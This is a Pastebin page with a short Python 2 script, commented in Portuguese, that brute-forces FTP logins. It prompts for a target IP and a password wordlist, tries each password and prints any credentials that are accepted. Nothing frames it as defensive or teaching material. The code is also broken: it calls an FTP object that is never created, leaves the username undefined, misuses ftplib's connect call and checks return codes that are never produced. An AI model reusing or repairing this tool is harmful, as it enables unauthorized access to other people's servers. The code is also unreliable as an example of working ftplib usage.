Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/env Python
- #coding: UTF-8
- from ftplib import FTP
- import sys
- import os
- import socket
- import subprocess
- global host, username, line, input_file
- #Para limpar a tela
- subprocess.call('clear', shell=True)
- line = "\n-------------------------------------------------\n"
- try:
- host = raw_input ('\033[31m' + '[*]' + '\033[0;0m' "Ip Host: ")
- input_file = raw_input ('\033[31m' + '[*]' + '\033[0;0m' "Wordlist Brute Force: ")
- ftp.login()
- if os.path.exists(input_file) == False:
- print "\n[*] File not Exist"
- sys.exit(4)
- except KeyboardInterrupt:
- print "\n\n[*] Canceled"
- sys.exit(3)
- def ftp_connect(password, code = 0):
- ftp = ftp.connect(host, port=21, username=username, password=password)
- ftp.close()
- input_file = open(input_file)
- print ""
- for i in input_file.readlines():
- password = i.strip("\n")
- try:
- response = ftp_connect(password)
- if response == 0:
- print ("%s[*] User: %s [*] Password: %s%s" % (line, username, password, line))
- sys.exit(0)
- elif response == 1:
- print("[*] User: %s [*] Password: %s => Login Incorrect <=" % (username, password))
- elif response == 2:
- print("[*] Not Connection: %s" % (host))
- sys.exit(2)
- except Exception, e:
- print e
- pass
- input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement